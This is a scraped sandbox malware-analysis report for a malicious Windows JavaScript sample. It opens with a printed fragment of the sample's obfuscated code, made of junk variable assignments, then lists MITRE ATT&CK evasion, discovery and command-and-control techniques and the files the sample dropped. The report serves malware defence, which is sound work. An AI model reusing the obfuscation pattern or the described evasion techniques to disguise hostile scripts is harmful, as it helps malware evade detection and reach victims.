1334	jiccfksfb = "L";
1335	jiccfksfb = "R";
1336	jiccfksfb = "c";
1337	jiccfksfb = "e";
1338	jiccfksfb = "S";
1339	jiccfksfb = "z";
1340	jiccfksfb = "W";
1341	jiccfksfb = "Z";
1342	jiccfksfb = "S";
1343	jiccfksfb = "L";
1344	jiccfksfb = "z";
1345	jiccfksfb = "a";
1346	jiccfksfb = "e";
1347	jiccfksfb = "P";
1348	jiccfksfb = "Y";
1349	jiccfksfb = "g";
1350	jiccfksfb = "6";
1351	zccjriq = "L";
1352	zccjriq = "F";
1353	zccjriq = "U";
1354	zccjriq = "V";
1355	zccjriq = "L";
1356	zccjriq = "y";
1357	zccjriq = "C";
1358	zccjriq = "a";
1359	zccjriq = "Y";
1360	zccjriq = "B";
1361	zccjriq = "y";
1362	zccjriq = "r";
1363	zccjriq = "h";
1364	zccjriq = "C";
1365	zccjriq = "x";
1366	zccjriq = "r";
1367	zccjriq = "B";
1368	zccjriq = "H";
1369	zccjriq = "A";
1370	zccjriq = "f";
1371	zccjriq = "q";
1372	zccjriq = "Q";
1373	zccjriq = "r";
1374	zccjriq = "N";
1375	zccjriq = "L";
1376	zccjriq = "&";
1377	rlyfcx = "i";
1378	zvhdvhpa = "R";
1379	zvhdvhpa = "i";
1380	zvhdvhpa = "M";
1381	zvhdvhpa = "H";
1382	zvhdvhpa = "5";
1383	fzxaopmgj ( );	fzxaopmgj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1731726859230921847.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF58ad4b.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\be384084-fddc-4d46-b64c-263e78f54b1c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2a8e0e9-9b25-403c-8014-6941ae89b99e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1731726859230921847.js